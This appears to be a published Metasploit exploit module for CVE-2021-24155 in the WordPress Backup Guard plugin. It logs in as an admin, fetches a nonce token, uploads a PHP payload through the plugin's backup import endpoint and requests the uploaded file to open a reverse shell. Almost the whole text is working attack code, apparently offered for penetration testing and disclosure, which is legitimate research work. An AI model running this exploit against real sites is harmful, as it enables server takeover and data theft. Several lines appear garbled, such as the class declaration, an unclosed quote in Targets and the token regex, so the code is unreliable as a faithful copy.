WordPress Backup Guard Authenticated Remote Code Execution

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This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in WordPress plugin Backup Guard versions prior to 1.6.0. This is due to an incorrect check of the uploaded file extension which should be of SGBP type. Then, the uploaded payload can be triggered by a call to /wp-content/uploads/backup-guard/.php.

MD5 | a13b79ee96d9f6b0f86db446a8c091a9

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Backup Guard - Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with a privileged WordPress account to launch a reverse shell
due to an arbitrary file upload vulnerability in WordPress plugin Backup Guard This is due to an incorrect check of the uploaded file extension which should be of SGBP type.
Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nguyen Van Khanh', # Original PoC, discovery
'Ron Jost', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '50093'],
['CVE', '2021-24155'],
['CWE', '434'],
['WPVDB', 'd442acac-4394-45e4-b6bb-adf4a40960fb'],
['URL', 'https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail=']
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Wordpress Backup Guard ],
'Privileged' => false,
'DisclosureDate' => '2021-05-04',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the WordPress server', '/'])
]
end

def check
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
return CheckCode::Detected('Authentication to WordPress failed.') unless cookie

check_plugin_version_from_readme('backup', '1.6.0')
end

def get_token(cookie)
r = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'Referer' => full_uri('/wp-admin/users.php'),
'vars_get' => {
'page' => 'backup_guard_backups'
}
})
fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
res = r.body.to_s.match(/&token=(h+)/)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the token.') unless res
res[1]
end

def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::UnexpectedReply, 'Authentication failed') unless cookie
token = get_token(cookie)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the Backup Guard token') unless token
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"

post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'text/php', nil, "form-data; name='files[]'; filename=#{payload_name}")

print_status("Uploading file '#{payload_name}' containing the payload...")

r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/wp-admin/admin-ajax.php'),
'headers' => {
'Origin' => full_uri(''),
'Referer' => full_uri('/wp-admin/admin.php?page=backup_guard_backups'),
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_get' =>
{
'action' => 'backup_guard_importBackup',
'token' => token
},
'cookie' => cookie,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)

fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
register_files_for_cleanup(payload_name.to_s)

print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/backup-guard/#{payload_name}")
)
end
end

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